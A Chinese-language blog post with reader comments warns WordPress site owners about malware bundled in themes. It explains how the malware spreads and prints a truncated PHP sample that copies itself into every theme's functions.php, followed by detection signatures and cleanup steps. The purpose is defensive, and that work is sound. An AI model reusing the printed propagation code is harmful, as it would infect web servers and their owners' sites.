不经意看到了哼哼猪的 《博主们注意了!赶快检查下你的 WordPress 里面是否包含恶意代码》一文,就好奇的检查了一下,结果。。。尼玛居然还真中招了!难怪老是觉得 WP 的后台卡卡的,一点都不流畅!而且后台提交文章经常会出现 502 或 503 的无法打开页面!估计就是这玩意在作祟!
下面内容摘自原文:
代码太长放到下面,先说说此段代码的来源和危害:
此段代码来源一般是在 WordPress 主题里面自带,可能免费主题、破解主题或者收费主题,大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。
再来大概说说它的工作原理,首先它会存在某一主题里面,当你启用调试此主题时,这段代码可以通过遍历获得你主题目录下的所有主题里面的 functions.php,并在 functions.php 文件结尾处的最后一个“?>”处自动添加下面的恶意病毒代码,如果恶意病毒代码添加成功,它会发送你博客的 url 地址到[email protected](可能大家没看到这个邮箱地址的添加位置,这就是它的巧妙之处,它将 email 地址拆分转义,然后用多重变量引用,下面的代码我已经用红色标注出了此 email 地址)
危害:单单从这段代码来说,也没什么大的问题,不过因为已经感染此代码且感染网址也发给了恶意病毒代码散播者,这样你的网站可能就会有选择成为下一步攻击目标。另外如果下面的代码不完整或者你的 Mysql 有一些安全限制会导致下面代码的一些项添加不完整,导致网站打开错误,其实这也是发现问题所在的原因。
小技巧:当你制作或使用一个安全主题时,你可以在 functions.php 文件结尾处的最后一个“?>”前添加上“//所有设置已完成”,这样如果被而已添加就能很快发现!
如何清除此段恶意病毒代码呢:
清理也很简单,直接在 functions.php 文件里面找到下面的代码删除即可,但因为一旦感染会导致你 themes 主题目录所有主题都感染,因此你只清除当前使用主题是无效的,你清除后很快就会生成,因此你清除掉一个主题的代码后,把 functions.php 文件设置为 444 权限,然后再清理其他主题即可。至于最后 functions.php 文件的 444 权限是否需要改回去,个人建议 444 挺好挺安全的,等要修改的时候再修改就行了。
functions.php 里面的恶意病毒代码实例如下(可能会有些差异,但基本代码是相同的):
<?php function _verifyactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } // 代码太长,略之! ?>
这些代码存在于 wp-content/themes 下的所有主题的所有 functions.php 文件里。
通常以下面这些函数特征出现:
function _checkactive_widgets function _get_allwidgets_cont function stripos function strripos function scandir add_action("admin_head", "_checkactive_widgets"); function _getprepare_widget add_action("init", "_getprepare_widget"); function __popular_posts
现场说法:
我在检查后台主题 functions.php 时发现,我的博客居然也被感染了!
首先在知更鸟主题中发现大段的恶意代码,鸟哥做主题的时候明显是加上了{全部结束}的注释。后面的多余的内容我还一直以为是 WP 自己给加上的。。。。
然后,我打开了手机主题 Mobile pack 的 functions.php 看了下,发现居然也有!看来真是有传染性:
二话不说,果断删除全部恶意代码:
检查无误后,我开始做预防措施。将 2 个主题的 functions.php 的权限设置为 444,只允许读取,不允许写入:
恶意代码风波到此就告一段落了!看来以后不能随便测试主题了!像哼哼猪说的一样:大家也不能完全抱怨主题作者,因为代码可能也不是他主动添加的,可能是他在调试其他主题是感染上的。
我记录这篇博文的主要目的就是为了提醒和我一样不知情的 WordPress 菜鸟站长,赶紧检查一下你的 WP 是不是被注入饿了恶意代码!我敢说,不知情的博主,感染率估计能有 80%以上!尤其是经常换主题的博客!各位博友,赶紧检查下自己的博客,有则删之,无则预防!
过来赞一个
你的也是WP,你不看下有没有被插入恶意代码?
这个必须要顶!!!赶快检查下。。。
我觉得80%以上的都被嵌入恶意代码了,而像我和你这样喜欢换主题的更是接近100%。。。
我没有被嵌入...
看来是我RP不好。。
我就有这么一大段,起初还以为是自己加的 :shock: ,可实在是想不起来在哪加的了,一查原来如此。知道这是因为什么加上去的吗?我都是直接编辑网站上的文件的,本来记事本上的排版还好,有一次保存后记事本都没关直接就变成全横的了。然后就坏了
最后我直接换的function.php
真得检查下
经检查,幸好我的都没有出现!
赶紧把functions.php的权限设置为444,预防。
不知道是不是我技术问题,我这个主题在后台根本就没有编辑功能,想修改只能下载下来修改,所以不管它了。我也不想折腾主题了。
有机会再弄,我现在很少改动,就是今天改了一些页码,以后修改就更少了。不想再折腾了。
呃。。非常明显的,就是functions.php下面。。找相关的函数,如果有,那么表示中招了
好吧 我对照你的例子看看
还好我的不是wp
嗯,哈哈
为嘛刚才我电脑进的首页,却是进的手机版?
服务器硬盘cache有点问题,主机商在修复。
这个搞不懂,怎么会中招的。我的不知道有没有中招
估计中招了,我用的主题,你也用了。。
代码能力太差劲了,我得对着你的图看看
直接搜索试试,我后面给了一些特征码。
貌似没有找到
还没注意过这个问题。
刚刚查了下,我也中招了
中招概率较高。
好博客,欢迎回访,提供虚拟主机,服务器托管租用,云服务器等业务
赶紧回去找找看…
我的没有,其实有新版本立即更新就可以避免了吧。
这个是主题带有的恶意代码,还会传染给其他主题,WP更新了都没有用。
另外,你的链接没法设置么?
没办法 多说似乎不行
搞不懂这样做对放恶意代码的人有什么好处
听说是窃取一些信息,发送到指定邮箱。。不过没发现进一步动作。
要是我写这个,我就写潜伏代码,等博客流量大了就给弹窗,哈哈哈哈
这个可以有。
你很坏啊
这个我倒是没发现呢
有则删之,无则预防~记得把那个文件的权限设成444即可
我也找到了,但是不知道该删除哪里,没找到你删除的那个内容
你找到了?你可以吧function发到群共享,我帮你看看。
请问群是多少?我也发上来帮我看看。
344134224
我的班级官网愉快地中招了
感谢博主!好恐怖,我说为什么我的模板函数多了一大堆莫名其妙的代码!发现你上面列举的函数特征我每条都有。再也不敢乱装主题了!(我有乱试主题的习惯)
安装新主题之前,检查一下新主题functions下有没有恶意代码就好了。有的话就会传染给其他主题。
请教,删除后,页面出现空白页
把原始的functions.php发我邮箱看看,[email protected]
昨天发现也中招了 我虽然不懂PHP代码 但是我知道 一个PHP文件完全没有必要写2次开关
百度一下 我才知道 不知道哪个死全家的弄的这个代码 坑爹
受教了,以后用网上下载的主题都要慎重啊
刚刚看到这篇文章,感谢博主提醒。整个网站都很不错,到处都是学习的精华,为你点赞